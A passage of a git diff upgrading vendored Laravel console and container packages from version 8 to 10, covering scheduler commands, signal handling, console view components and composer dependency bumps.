|| $this->laravel->isDownForMaintenance(); + + if ($hasEnteredMaintenanceMode && ! $event->runsInMaintenanceMode()) { + continue; + } + + if (! $event->filtersPass($this->laravel)) { + $this->dispatcher->dispatch(new ScheduledTaskSkipped($event)); + + continue; + } + + if ($event->onOneServer) { + $this->runSingleServerEvent($event); + } else { + $this->runEvent($event); + } + + $this->eventsRan = true; + } - $this->handler->report($e); + Sleep::usleep(100000); } } + + /** + * Determine if the schedule run should be interrupted. + * + * @return bool + */ + protected function shouldInterrupt() + { + return $this->cache->get('illuminate:schedule:interrupt', false); + } + + /** + * Ensure the interrupt signal is cleared. + * + * @return void + */ + protected function clearInterruptSignal() + { + $this->cache->forget('illuminate:schedule:interrupt'); + } } diff --git a/vendor/illuminate/console/Scheduling/ScheduleTestCommand.php b/vendor/illuminate/console/Scheduling/ScheduleTestCommand.php index 281886439..5e902a05b 100644 --- a/vendor/illuminate/console/Scheduling/ScheduleTestCommand.php +++ b/vendor/illuminate/console/Scheduling/ScheduleTestCommand.php @@ -2,8 +2,13 @@ namespace Illuminate\Console\Scheduling; +use Illuminate\Console\Application; use Illuminate\Console\Command; +use Symfony\Component\Console\Attribute\AsCommand; +use function Laravel\Prompts\select; + +#[AsCommand(name: 'schedule:test')] class ScheduleTestCommand extends Command { /** @@ -11,7 +16,7 @@ class ScheduleTestCommand extends Command * * @var string */ - protected $name = 'schedule:test'; + protected $signature = 'schedule:test {--name= : The name of the scheduled command to run}'; /** * The console command description. @@ -28,6 +33,8 @@ class ScheduleTestCommand extends Command */ public function handle(Schedule $schedule) { + $phpBinary = Application::phpBinary(); + $commands = $schedule->events(); $commandNames = []; @@ -36,12 +43,75 @@ public function handle(Schedule $schedule) $commandNames[] = $command->command ?? $command->getSummaryForDisplay(); } - $index = array_search($this->choice('Which command would you like to run?', $commandNames), $commandNames); + if (empty($commandNames)) { + return $this->components->info('No scheduled commands have been defined.'); + } + + if (! empty($name = $this->option('name'))) { + $commandBinary = $phpBinary.' '.Application::artisanBinary(); + + $matches = array_filter($commandNames, function ($commandName) use ($commandBinary, $name) { + return trim(str_replace($commandBinary, '', $commandName)) === $name; + }); + + if (count($matches) !== 1) { + $this->components->info('No matching scheduled command found.'); + + return; + } + + $index = key($matches); + } else { + $index = $this->getSelectedCommandByIndex($commandNames); + } $event = $commands[$index]; - $this->line('['.date('c').'] Running scheduled command: '.$event->getSummaryForDisplay()); + $summary = $event->getSummaryForDisplay(); + + $command = $event instanceof CallbackEvent + ? $summary + : trim(str_replace($phpBinary, '', $event->command)); + + $description = sprintf( + 'Running [%s]%s', + $command, + $event->runInBackground ? ' in background' : '', + ); + + $this->components->task($description, fn () => $event->run($this->laravel)); - $event->run($this->laravel); + if (! $event instanceof CallbackEvent) { + $this->components->bulletList([$event->getSummaryForDisplay()]); + } + + $this->newLine(); + } + + /** + * Get the selected command name by index. + * + * @param array $commandNames + * @return int + */ + protected function getSelectedCommandByIndex(array $commandNames) + { + if (count($commandNames) !== count(array_unique($commandNames))) { + // Some commands (likely closures) have the same name, append unique indexes to each one... + $uniqueCommandNames = array_map(function ($index, $value) { + return "$value [$index]"; + }, array_keys($commandNames), $commandNames); + + $selectedCommand = select('Which command would you like to run?', $uniqueCommandNames); + + preg_match('/\[(\d+)\]/', $selectedCommand, $choice); + + return (int) $choice[1]; + } else { + return array_search( + select('Which command would you like to run?', $commandNames), + $commandNames + ); + } } } diff --git a/vendor/illuminate/console/Scheduling/ScheduleWorkCommand.php b/vendor/illuminate/console/Scheduling/ScheduleWorkCommand.php index 165124a79..d784b5904 100644 --- a/vendor/illuminate/console/Scheduling/ScheduleWorkCommand.php +++ b/vendor/illuminate/console/Scheduling/ScheduleWorkCommand.php @@ -4,16 +4,20 @@ use Illuminate\Console\Command; use Illuminate\Support\Carbon; +use Illuminate\Support\ProcessUtils; +use Symfony\Component\Console\Attribute\AsCommand; +use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Process\Process; +#[AsCommand(name: 'schedule:work')] class ScheduleWorkCommand extends Command { /** - * The console command name. + * The name and signature of the console command. * * @var string */ - protected $name = 'schedule:work'; + protected $signature = 'schedule:work {--run-output-file= : The file to direct schedule:run output to}'; /** * The console command description. @@ -29,20 +33,29 @@ class ScheduleWorkCommand extends Command */ public function handle() { - $this->info('Schedule worker started successfully.'); + $this->components->info( + 'Running scheduled tasks every minute.', + $this->getLaravel()->isLocal() ? OutputInterface::VERBOSITY_NORMAL : OutputInterface::VERBOSITY_VERBOSE + ); - [$lastExecutionStartedAt, $keyOfLastExecutionWithOutput, $executions] = [null, null, []]; + [$lastExecutionStartedAt, $executions] = [Carbon::now()->subMinutes(10), []]; + + $command = implode(' ', array_map(fn ($arg) => ProcessUtils::escapeArgument($arg), [ + PHP_BINARY, + defined('ARTISAN_BINARY') ? ARTISAN_BINARY : 'artisan', + 'schedule:run', + ])); + + if ($this->option('run-output-file')) { + $command .= ' >> '.ProcessUtils::escapeArgument($this->option('run-output-file')).' 2>&1'; + } while (true) { usleep(100 * 1000); if (Carbon::now()->second === 0 && ! Carbon::now()->startOfMinute()->equalTo($lastExecutionStartedAt)) { - $executions[] = $execution = new Process([ - PHP_BINARY, - defined('ARTISAN_BINARY') ? ARTISAN_BINARY : 'artisan', - 'schedule:run', - ]); + $executions[] = $execution = Process::fromShellCommandline($command); $execution->start(); @@ -50,18 +63,10 @@ public function handle() } foreach ($executions as $key => $execution) { - $output = trim($execution->getIncrementalOutput()). - trim($execution->getIncrementalErrorOutput()); + $output = $execution->getIncrementalOutput(). + $execution->getIncrementalErrorOutput(); - if (! empty($output)) { - if ($key !== $keyOfLastExecutionWithOutput) { - $this->info(PHP_EOL.'['.date('c').'] Execution #'.($key + 1).' output:'); - - $keyOfLastExecutionWithOutput = $key; - } - - $this->output->writeln($output); - } + $this->output->write(ltrim($output, "\n")); if (! $execution->isRunning()) { unset($executions[$key]); diff --git a/vendor/illuminate/console/Signals.php b/vendor/illuminate/console/Signals.php new file mode 100644 index 000000000..106b54d14 --- /dev/null +++ b/vendor/illuminate/console/Signals.php @@ -0,0 +1,152 @@ +>|null + */ + protected $previousHandlers; + + /** + * The current availability resolver, if any. + * + * @var (callable(): bool)|null + */ + protected static $availabilityResolver; + + /** + * Create a new signal registrar instance. + * + * @param \Symfony\Component\Console\SignalRegistry\SignalRegistry $registry + * @return void + */ + public function __construct($registry) + { + $this->registry = $registry; + + $this->previousHandlers = $this->getHandlers(); + } + + /** + * Register a new signal handler. + * + * @param int $signal + * @param callable(int $signal): void $callback + * @return void + */ + public function register($signal, $callback) + { + $this->previousHandlers[$signal] ??= $this->initializeSignal($signal); + + with($this->getHandlers(), function ($handlers) use ($signal) { + $handlers[$signal] ??= $this->initializeSignal($signal); + + $this->setHandlers($handlers); + }); + + $this->registry->register($signal, $callback); + + with($this->getHandlers(), function ($handlers) use ($signal) { + $lastHandlerInserted = array_pop($handlers[$signal]); + + array_unshift($handlers[$signal], $lastHandlerInserted); + + $this->setHandlers($handlers); + }); + } + + /** + * Gets the signal's existing handler in array format. + * + * @return array + */ + protected function initializeSignal($signal) + { + return is_callable($existingHandler = pcntl_signal_get_handler($signal)) + ? [$existingHandler] + : null; + } + + /** + * Unregister the current signal handlers. + * + * @return void + */ + public function unregister() + { + $previousHandlers = $this->previousHandlers; + + foreach ($previousHandlers as $signal => $handler) { + if (is_null($handler)) { + pcntl_signal($signal, SIG_DFL); + + unset($previousHandlers[$signal]); + } + } + + $this->setHandlers($previousHandlers); + } + + /** + * Execute the given callback if "signals" should be used and are available. + * + * @param callable $callback + * @return void + */ + public static function whenAvailable($callback) + { + $resolver = static::$availabilityResolver; + + if ($resolver()) { + $callback(); + } + } + + /** + * Get the registry's handlers. + * + * @return array> + */ + protected function getHandlers() + { + return (fn () => $this->signalHandlers) + ->call($this->registry); + } + + /** + * Set the registry's handlers. + * + * @param array> $handlers + * @return void + */ + protected function setHandlers($handlers) + { + (fn () => $this->signalHandlers = $handlers) + ->call($this->registry); + } + + /** + * Set the availability resolver. + * + * @param callable(): bool + * @return void + */ + public static function resolveAvailabilityUsing($resolver) + { + static::$availabilityResolver = $resolver; + } +} diff --git a/vendor/illuminate/console/View/Components/Alert.php b/vendor/illuminate/console/View/Components/Alert.php new file mode 100644 index 000000000..a975aaf83 --- /dev/null +++ b/vendor/illuminate/console/View/Components/Alert.php @@ -0,0 +1,28 @@ +mutate($string, [ + Mutators\EnsureDynamicContentIsHighlighted::class, + Mutators\EnsurePunctuation::class, + Mutators\EnsureRelativePaths::class, + ]); + + $this->renderView('alert', [ + 'content' => $string, + ], $verbosity); + } +} diff --git a/vendor/illuminate/console/View/Components/Ask.php b/vendor/illuminate/console/View/Components/Ask.php new file mode 100644 index 000000000..9d359b131 --- /dev/null +++ b/vendor/illuminate/console/View/Components/Ask.php @@ -0,0 +1,18 @@ +usingQuestionHelper(fn () => $this->output->ask($question, $default)); + } +} diff --git a/vendor/illuminate/console/View/Components/AskWithCompletion.php b/vendor/illuminate/console/View/Components/AskWithCompletion.php new file mode 100644 index 000000000..103d73071 --- /dev/null +++ b/vendor/illuminate/console/View/Components/AskWithCompletion.php @@ -0,0 +1,29 @@ +setAutocompleterCallback($choices) + : $question->setAutocompleterValues($choices); + + return $this->usingQuestionHelper( + fn () => $this->output->askQuestion($question) + ); + } +} diff --git a/vendor/illuminate/console/View/Components/BulletList.php b/vendor/illuminate/console/View/Components/BulletList.php new file mode 100644 index 000000000..da3d88179 --- /dev/null +++ b/vendor/illuminate/console/View/Components/BulletList.php @@ -0,0 +1,28 @@ + $elements + * @param int $verbosity + * @return void + */ + public function render($elements, $verbosity = OutputInterface::VERBOSITY_NORMAL) + { + $elements = $this->mutate($elements, [ + Mutators\EnsureDynamicContentIsHighlighted::class, + Mutators\EnsureNoPunctuation::class, + Mutators\EnsureRelativePaths::class, + ]); + + $this->renderView('bullet-list', [ + 'elements' => $elements, + ], $verbosity); + } +} diff --git a/vendor/illuminate/console/View/Components/Choice.php b/vendor/illuminate/console/View/Components/Choice.php new file mode 100644 index 000000000..8ef25be46 --- /dev/null +++ b/vendor/illuminate/console/View/Components/Choice.php @@ -0,0 +1,29 @@ + $choices + * @param mixed $default + * @param int $attempts + * @param bool $multiple + * @return mixed + */ + public function render($question, $choices, $default = null, $attempts = null, $multiple = false) + { + return $this->usingQuestionHelper( + fn () => $this->output->askQuestion( + (new ChoiceQuestion($question, $choices, $default)) + ->setMaxAttempts($attempts) + ->setMultiselect($multiple) + ), + ); + } +} diff --git a/vendor/illuminate/console/View/Components/Component.php b/vendor/illuminate/console/View/Components/Component.php new file mode 100644 index 000000000..913c8b9bb --- /dev/null +++ b/vendor/illuminate/console/View/Components/Component.php @@ -0,0 +1,123 @@ + + */ + protected $mutators; + + /** + * Creates a new component instance. + * + * @param \Illuminate\Console\OutputStyle $output + * @return void + */ + public function __construct($output) + { + $this->output = $output; + } + + /** + * Renders the given view. + * + * @param string $view + * @param \Illuminate\Contracts\Support\Arrayable|array $data + * @param int $verbosity + * @return void + */ + protected function renderView($view, $data, $verbosity) + { + renderUsing($this->output); + + render((string) $this->compile($view, $data), $verbosity); + } + + /** + * Compile the given view contents. + * + * @param string $view + * @param array $data + * @return void + */ + protected function compile($view, $data) + { + extract($data); + + ob_start(); + + include __DIR__."/../../resources/views/components/$view.php"; + + return tap(ob_get_contents(), function () { + ob_end_clean(); + }); + } + + /** + * Mutates the given data with the given set of mutators. + * + * @param array|string $data + * @param array $mutators + * @return array|string + */ + protected function mutate($data, $mutators) + { + foreach ($mutators as $mutator) { + $mutator = new $mutator; + + if (is_iterable($data)) { + foreach ($data as $key => $value) { + $data[$key] = $mutator($value); + } + } else { + $data = $mutator($data); + } + } + + return $data; + } + + /** + * Eventually performs a question using the component's question helper. + * + * @param callable $callable + * @return mixed + */ + protected function usingQuestionHelper($callable) + { + $property = with(new ReflectionClass(OutputStyle::class)) + ->getParentClass() + ->getProperty('questionHelper'); + + $currentHelper = $property->isInitialized($this->output) + ? $property->getValue($this->output) + : new SymfonyQuestionHelper(); + + $property->setValue($this->output, new QuestionHelper); + + try { + return $callable(); + } finally { + $property->setValue($this->output, $currentHelper); + } + } +} diff --git a/vendor/illuminate/console/View/Components/Confirm.php b/vendor/illuminate/console/View/Components/Confirm.php new file mode 100644 index 000000000..1e98c1e2a --- /dev/null +++ b/vendor/illuminate/console/View/Components/Confirm.php @@ -0,0 +1,20 @@ +usingQuestionHelper( + fn () => $this->output->confirm($question, $default), + ); + } +} diff --git a/vendor/illuminate/console/View/Components/Error.php b/vendor/illuminate/console/View/Components/Error.php new file mode 100644 index 000000000..73196cc84 --- /dev/null +++ b/vendor/illuminate/console/View/Components/Error.php @@ -0,0 +1,20 @@ +output))->render('error', $string, $verbosity); + } +} diff --git a/vendor/illuminate/console/View/Components/Factory.php b/vendor/illuminate/console/View/Components/Factory.php new file mode 100644 index 000000000..a14a0b665 --- /dev/null +++ b/vendor/illuminate/console/View/Components/Factory.php @@ -0,0 +1,60 @@ +output = $output; + } + + /** + * Dynamically handle calls into the component instance. + * + * @param string $method + * @param array $parameters + * @return mixed + * + * @throws \InvalidArgumentException + */ + public function __call($method, $parameters) + { + $component = '\Illuminate\Console\View\Components\\'.ucfirst($method); + + throw_unless(class_exists($component), new InvalidArgumentException(sprintf( + 'Console component [%s] not found.', $method + ))); + + return with(new $component($this->output))->render(...$parameters); + } +} diff --git a/vendor/illuminate/console/View/Components/Line.php b/vendor/illuminate/console/View/Components/Line.php new file mode 100644 index 000000000..0153d1f67 --- /dev/null +++ b/vendor/illuminate/console/View/Components/Line.php @@ -0,0 +1,54 @@ +> + */ + protected static $styles = [ + 'info' => [ + 'bgColor' => 'blue', + 'fgColor' => 'white', + 'title' => 'info', + ], + 'warn' => [ + 'bgColor' => 'yellow', + 'fgColor' => 'black', + 'title' => 'warn', + ], + 'error' => [ + 'bgColor' => 'red', + 'fgColor' => 'white', + 'title' => 'error', + ], + ]; + + /** + * Renders the component using the given arguments. + * + * @param string $style + * @param string $string + * @param int $verbosity + * @return void + */ + public function render($style, $string, $verbosity = OutputInterface::VERBOSITY_NORMAL) + { + $string = $this->mutate($string, [ + Mutators\EnsureDynamicContentIsHighlighted::class, + Mutators\EnsurePunctuation::class, + Mutators\EnsureRelativePaths::class, + ]); + + $this->renderView('line', array_merge(static::$styles[$style], [ + 'marginTop' => $this->output instanceof NewLineAware ? max(0, 2 - $this->output->newLinesWritten()) : 1, + 'content' => $string, + ]), $verbosity); + } +} diff --git a/vendor/illuminate/console/View/Components/Mutators/EnsureDynamicContentIsHighlighted.php b/vendor/illuminate/console/View/Components/Mutators/EnsureDynamicContentIsHighlighted.php new file mode 100644 index 000000000..225e9f020 --- /dev/null +++ b/vendor/illuminate/console/View/Components/Mutators/EnsureDynamicContentIsHighlighted.php @@ -0,0 +1,17 @@ +[$1]', (string) $string); + } +} diff --git a/vendor/illuminate/console/View/Components/Mutators/EnsureNoPunctuation.php b/vendor/illuminate/console/View/Components/Mutators/EnsureNoPunctuation.php new file mode 100644 index 000000000..5f3493626 --- /dev/null +++ b/vendor/illuminate/console/View/Components/Mutators/EnsureNoPunctuation.php @@ -0,0 +1,21 @@ +endsWith(['.', '?', '!', ':'])) { + return substr_replace($string, '', -1); + } + + return $string; + } +} diff --git a/vendor/illuminate/console/View/Components/Mutators/EnsurePunctuation.php b/vendor/illuminate/console/View/Components/Mutators/EnsurePunctuation.php new file mode 100644 index 000000000..c99fecffa --- /dev/null +++ b/vendor/illuminate/console/View/Components/Mutators/EnsurePunctuation.php @@ -0,0 +1,21 @@ +endsWith(['.', '?', '!', ':'])) { + return "$string."; + } + + return $string; + } +} diff --git a/vendor/illuminate/console/View/Components/Mutators/EnsureRelativePaths.php b/vendor/illuminate/console/View/Components/Mutators/EnsureRelativePaths.php new file mode 100644 index 000000000..babd0343d --- /dev/null +++ b/vendor/illuminate/console/View/Components/Mutators/EnsureRelativePaths.php @@ -0,0 +1,21 @@ +has('path.base')) { + $string = str_replace(base_path().'/', '', $string); + } + + return $string; + } +} diff --git a/vendor/illuminate/console/View/Components/Secret.php b/vendor/illuminate/console/View/Components/Secret.php new file mode 100644 index 000000000..824afd350 --- /dev/null +++ b/vendor/illuminate/console/View/Components/Secret.php @@ -0,0 +1,24 @@ +setHidden(true)->setHiddenFallback($fallback); + + return $this->usingQuestionHelper(fn () => $this->output->askQuestion($question)); + } +} diff --git a/vendor/illuminate/console/View/Components/Task.php b/vendor/illuminate/console/View/Components/Task.php new file mode 100644 index 000000000..c5b326b17 --- /dev/null +++ b/vendor/illuminate/console/View/Components/Task.php @@ -0,0 +1,58 @@ +mutate($description, [ + Mutators\EnsureDynamicContentIsHighlighted::class, + Mutators\EnsureNoPunctuation::class, + Mutators\EnsureRelativePaths::class, + ]); + + $descriptionWidth = mb_strlen(preg_replace("/\<[\w=#\/\;,:.&,%?]+\>|\\e\[\d+m/", '$1', $description) ?? ''); + + $this->output->write(" $description ", false, $verbosity); + + $startTime = microtime(true); + + $result = false; + + try { + $result = ($task ?: fn () => true)(); + } catch (Throwable $e) { + throw $e; + } finally { + $runTime = $task + ? (' '.number_format((microtime(true) - $startTime) * 1000).'ms') + : ''; + + $runTimeWidth = mb_strlen($runTime); + $width = min(terminal()->width(), 150); + $dots = max($width - $descriptionWidth - $runTimeWidth - 10, 0); + + $this->output->write(str_repeat('.', $dots), false, $verbosity); + $this->output->write("$runTime", false, $verbosity); + + $this->output->writeln( + $result !== false ? ' DONE' : ' FAIL', + $verbosity, + ); + } + } +} diff --git a/vendor/illuminate/console/View/Components/TwoColumnDetail.php b/vendor/illuminate/console/View/Components/TwoColumnDetail.php new file mode 100644 index 000000000..1ffa08937 --- /dev/null +++ b/vendor/illuminate/console/View/Components/TwoColumnDetail.php @@ -0,0 +1,36 @@ +mutate($first, [ + Mutators\EnsureDynamicContentIsHighlighted::class, + Mutators\EnsureNoPunctuation::class, + Mutators\EnsureRelativePaths::class, + ]); + + $second = $this->mutate($second, [ + Mutators\EnsureDynamicContentIsHighlighted::class, + Mutators\EnsureNoPunctuation::class, + Mutators\EnsureRelativePaths::class, + ]); + + $this->renderView('two-column-detail', [ + 'first' => $first, + 'second' => $second, + ], $verbosity); + } +} diff --git a/vendor/illuminate/console/View/Components/Warn.php b/vendor/illuminate/console/View/Components/Warn.php new file mode 100644 index 000000000..20adb1f27 --- /dev/null +++ b/vendor/illuminate/console/View/Components/Warn.php @@ -0,0 +1,21 @@ +output)) + ->render('warn', $string, $verbosity); + } +} diff --git a/vendor/illuminate/console/composer.json b/vendor/illuminate/console/composer.json index ba5366e3b..53fb6dbcd 100644 --- a/vendor/illuminate/console/composer.json +++ b/vendor/illuminate/console/composer.json @@ -14,13 +14,17 @@ } ], "require": { - "php": "^7.3|^8.0", - "illuminate/collections": "^8.0", - "illuminate/contracts": "^8.0", - "illuminate/macroable": "^8.0", - "illuminate/support": "^8.0", - "symfony/console": "^5.4", - "symfony/process": "^5.4" + "php": "^8.1", + "ext-mbstring": "*", + "illuminate/collections": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/macroable": "^10.0", + "laravel/prompts": "^0.1.9", + "illuminate/support": "^10.0", + "illuminate/view": "^10.0", + "nunomaduro/termwind": "^1.13", + "symfony/console": "^6.2", + "symfony/process": "^6.2" }, "autoload": { "psr-4": { @@ -29,16 +33,17 @@ }, "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "suggest": { - "dragonmantank/cron-expression": "Required to use scheduler (^3.0.2).", - "guzzlehttp/guzzle": "Required to use the ping methods on schedules (^6.5.5|^7.0.1).", - "illuminate/bus": "Required to use the scheduled job dispatcher (^8.0).", - "illuminate/container": "Required to use the scheduler (^8.0).", - "illuminate/filesystem": "Required to use the generator command (^8.0).", - "illuminate/queue": "Required to use closures for scheduled jobs (^8.0)." + "ext-pcntl": "Required to use signal trapping.", + "dragonmantank/cron-expression": "Required to use scheduler (^3.3.2).", + "guzzlehttp/guzzle": "Required to use the ping methods on schedules (^7.5).", + "illuminate/bus": "Required to use the scheduled job dispatcher (^10.0).", + "illuminate/container": "Required to use the scheduler (^10.0).", + "illuminate/filesystem": "Required to use the generator command (^10.0).", + "illuminate/queue": "Required to use closures for scheduled jobs (^10.0)." }, "config": { "sort-packages": true diff --git a/vendor/illuminate/console/resources/views/components/alert.php b/vendor/illuminate/console/resources/views/components/alert.php new file mode 100644 index 000000000..bddcb2130 --- /dev/null +++ b/vendor/illuminate/console/resources/views/components/alert.php @@ -0,0 +1,3 @@ +
    + +
    diff --git a/vendor/illuminate/console/resources/views/components/bullet-list.php b/vendor/illuminate/console/resources/views/components/bullet-list.php new file mode 100644 index 000000000..a016a9108 --- /dev/null +++ b/vendor/illuminate/console/resources/views/components/bullet-list.php @@ -0,0 +1,7 @@ +
    + +
    + ⇂ +
    + +
    diff --git a/vendor/illuminate/console/resources/views/components/line.php b/vendor/illuminate/console/resources/views/components/line.php new file mode 100644 index 000000000..a759564c7 --- /dev/null +++ b/vendor/illuminate/console/resources/views/components/line.php @@ -0,0 +1,8 @@ +
    + + + + +
    diff --git a/vendor/illuminate/console/resources/views/components/two-column-detail.php b/vendor/illuminate/console/resources/views/components/two-column-detail.php new file mode 100644 index 000000000..1aeed496f --- /dev/null +++ b/vendor/illuminate/console/resources/views/components/two-column-detail.php @@ -0,0 +1,11 @@ +
    + + + + + + + + + +
    diff --git a/vendor/illuminate/container/BoundMethod.php b/vendor/illuminate/container/BoundMethod.php index 5c96c973e..0bac7faef 100644 --- a/vendor/illuminate/container/BoundMethod.php +++ b/vendor/illuminate/container/BoundMethod.php @@ -137,7 +137,7 @@ protected static function getMethodDependencies($container, $callback, array $pa */ protected static function getCallReflector($callback) { - if (is_string($callback) && strpos($callback, '::') !== false) { + if (is_string($callback) && str_contains($callback, '::')) { $callback = explode('::', $callback); } elseif (is_object($callback) && ! $callback instanceof Closure) { $callback = [$callback, '__invoke']; @@ -171,16 +171,14 @@ protected static function addDependencyForCallParameter($container, $parameter, $dependencies[] = $parameters[$className]; unset($parameters[$className]); + } elseif ($parameter->isVariadic()) { + $variadicDependencies = $container->make($className); + + $dependencies = array_merge($dependencies, is_array($variadicDependencies) + ? $variadicDependencies + : [$variadicDependencies]); } else { - if ($parameter->isVariadic()) { - $variadicDependencies = $container->make($className); - - $dependencies = array_merge($dependencies, is_array($variadicDependencies) - ? $variadicDependencies - : [$variadicDependencies]); - } else { - $dependencies[] = $container->make($className); - } + $dependencies[] = $container->make($className); } } elseif ($parameter->isDefaultValueAvailable()) { $dependencies[] = $parameter->getDefaultValue(); @@ -199,6 +197,6 @@ protected static function addDependencyForCallParameter($container, $parameter, */ protected static function isCallableWithAtSign($callback) { - return is_string($callback) && strpos($callback, '@') !== false; + return is_string($callback) && str_contains($callback, '@'); } } diff --git a/vendor/illuminate/container/Container.php b/vendor/illuminate/container/Container.php index e6cd346fe..adb73bb51 100644 --- a/vendor/illuminate/container/Container.php +++ b/vendor/illuminate/container/Container.php @@ -11,6 +11,7 @@ use LogicException; use ReflectionClass; use ReflectionException; +use ReflectionFunction; use ReflectionParameter; use TypeError; @@ -191,7 +192,7 @@ public function bound($abstract) * * @return bool */ - public function has($id) + public function has(string $id): bool { return $this->bound($id); } @@ -426,9 +427,7 @@ public function scoped($abstract, $concrete = null) public function scopedIf($abstract, $concrete = null) { if (! $this->bound($abstract)) { - $this->scopedInstances[] = $abstract; - - $this->singleton($abstract, $concrete); + $this->scoped($abstract, $concrete); } } @@ -609,7 +608,7 @@ protected function rebound($abstract) $instance = $this->make($abstract); foreach ($this->getReboundCallbacks($abstract) as $callback) { - call_user_func($callback, $this, $instance); + $callback($this, $instance); } } @@ -633,9 +632,7 @@ protected function getReboundCallbacks($abstract) */ public function wrap(Closure $callback, array $parameters = []) { - return function () use ($callback, $parameters) { - return $this->call($callback, $parameters); - }; + return fn () => $this->call($callback, $parameters); } /** @@ -650,7 +647,49 @@ public function wrap(Closure $callback, array $parameters = []) */ public function call($callback, array $parameters = [], $defaultMethod = null) { - return BoundMethod::call($this, $callback, $parameters, $defaultMethod); + $pushedToBuildStack = false; + + if (($className = $this->getClassForCallable($callback)) && ! in_array( + $className, + $this->buildStack, + true + )) { + $this->buildStack[] = $className; + + $pushedToBuildStack = true; + } + + $result = BoundMethod::call($this, $callback, $parameters, $defaultMethod); + + if ($pushedToBuildStack) { + array_pop($this->buildStack); + } + + return $result; + } + + /** + * Get the class name for the given callback, if one can be determined. + * + * @param callable|string $callback + * @return string|false + */ + protected function getClassForCallable($callback) + { + if (PHP_VERSION_ID >= 80200) { + if (is_callable($callback) && + ! ($reflector = new ReflectionFunction($callback(...)))->isAnonymous()) { + return $reflector->getClosureScopeClass()->name ?? false; + } + + return false; + } + + if (! is_array($callback)) { + return false; + } + + return is_string($callback[0]) ? $callback[0] : get_class($callback[0]); } /** @@ -661,9 +700,7 @@ public function call($callback, array $parameters = [], $defaultMethod = null) */ public function factory($abstract) { - return function () use ($abstract) { - return $this->make($abstract); - }; + return fn () => $this->make($abstract); } /** @@ -699,7 +736,7 @@ public function make($abstract, array $parameters = []) * * @return mixed */ - public function get($id) + public function get(string $id) { try { return $this->resolve($id); @@ -708,7 +745,7 @@ public function get($id) throw $e; } - throw new EntryNotFoundException($id, $e->getCode(), $e); + throw new EntryNotFoundException($id, is_int($e->getCode()) ? $e->getCode() : 0, $e); } } @@ -754,11 +791,9 @@ protected function resolve($abstract, $parameters = [], $raiseEvents = true) // We're ready to instantiate an instance of the concrete type registered for // the binding. This will instantiate the types, as well as resolve any of // its "nested" dependencies recursively until all have gotten resolved. - if ($this->isBuildable($concrete, $abstract)) { - $object = $this->build($concrete); - } else { - $object = $this->make($concrete); - } + $object = $this->isBuildable($concrete, $abstract) + ? $this->build($concrete) + : $this->make($concrete); // If we defined any extenders for this type, we'll need to spin through them // and apply them to the object being built. This allows for the extension @@ -1001,13 +1036,17 @@ protected function getLastParameterOverride() protected function resolvePrimitive(ReflectionParameter $parameter) { if (! is_null($concrete = $this->getContextualConcrete('$'.$parameter->getName()))) { - return $concrete instanceof Closure ? $concrete($this) : $concrete; + return Util::unwrapIfClosure($concrete, $this); } if ($parameter->isDefaultValueAvailable()) { return $parameter->getDefaultValue(); } + if ($parameter->isVariadic()) { + return []; + } + $this->unresolvablePrimitive($parameter); } @@ -1063,9 +1102,7 @@ protected function resolveVariadicClass(ReflectionParameter $parameter) return $this->make($className); } - return array_map(function ($abstract) { - return $this->resolve($abstract); - }, $concrete); + return array_map(fn ($abstract) => $this->resolve($abstract), $concrete); } /** @@ -1401,8 +1438,7 @@ public static function setInstance(ContainerContract $container = null) * @param string $key * @return bool */ - #[\ReturnTypeWillChange] - public function offsetExists($key) + public function offsetExists($key): bool { return $this->bound($key); } @@ -1413,8 +1449,7 @@ public function offsetExists($key) * @param string $key * @return mixed */ - #[\ReturnTypeWillChange] - public function offsetGet($key) + public function offsetGet($key): mixed { return $this->make($key); } @@ -1426,12 +1461,9 @@ public function offsetGet($key) * @param mixed $value * @return void */ - #[\ReturnTypeWillChange] - public function offsetSet($key, $value) + public function offsetSet($key, $value): void { - $this->bind($key, $value instanceof Closure ? $value : function () use ($value) { - return $value; - }); + $this->bind($key, $value instanceof Closure ? $value : fn () => $value); } /** @@ -1440,8 +1472,7 @@ public function offsetSet($key, $value) * @param string $key * @return void */ - #[\ReturnTypeWillChange] - public function offsetUnset($key) + public function offsetUnset($key): void { unset($this->bindings[$key], $this->instances[$key], $this->resolved[$key]); } diff --git a/vendor/illuminate/container/ContextualBindingBuilder.php b/vendor/illuminate/container/ContextualBindingBuilder.php index 1d15dcd3d..707b74c74 100644 --- a/vendor/illuminate/container/ContextualBindingBuilder.php +++ b/vendor/illuminate/container/ContextualBindingBuilder.php @@ -86,13 +86,11 @@ public function giveTagged($tag) * Specify the configuration item to bind as a primitive. * * @param string $key - * @param ?string $default + * @param mixed $default * @return void */ public function giveConfig($key, $default = null) { - $this->give(function ($container) use ($key, $default) { - return $container->get('config')->get($key, $default); - }); + $this->give(fn ($container) => $container->get('config')->get($key, $default)); } } diff --git a/vendor/illuminate/container/RewindableGenerator.php b/vendor/illuminate/container/RewindableGenerator.php index 4ee7bb20c..14c0bd017 100644 --- a/vendor/illuminate/container/RewindableGenerator.php +++ b/vendor/illuminate/container/RewindableGenerator.php @@ -4,6 +4,7 @@ use Countable; use IteratorAggregate; +use Traversable; class RewindableGenerator implements Countable, IteratorAggregate { @@ -37,10 +38,9 @@ public function __construct(callable $generator, $count) /** * Get an iterator from the generator. * - * @return mixed + * @return \Traversable */ - #[\ReturnTypeWillChange] - public function getIterator() + public function getIterator(): Traversable { return ($this->generator)(); } @@ -50,8 +50,7 @@ public function getIterator() * * @return int */ - #[\ReturnTypeWillChange] - public function count() + public function count(): int { if (is_callable($count = $this->count)) { $this->count = $count(); diff --git a/vendor/illuminate/container/Util.php b/vendor/illuminate/container/Util.php index 8f7e9171d..8d5023b4a 100644 --- a/vendor/illuminate/container/Util.php +++ b/vendor/illuminate/container/Util.php @@ -33,11 +33,12 @@ public static function arrayWrap($value) * From global value() helper in Illuminate\Support. * * @param mixed $value + * @param mixed ...$args * @return mixed */ - public static function unwrapIfClosure($value) + public static function unwrapIfClosure($value, ...$args) { - return $value instanceof Closure ? $value() : $value; + return $value instanceof Closure ? $value(...$args) : $value; } /** diff --git a/vendor/illuminate/container/composer.json b/vendor/illuminate/container/composer.json index cf9316099..02636c73f 100644 --- a/vendor/illuminate/container/composer.json +++ b/vendor/illuminate/container/composer.json @@ -14,12 +14,12 @@ } ], "require": { - "php": "^7.3|^8.0", - "illuminate/contracts": "^8.0", - "psr/container": "^1.0" + "php": 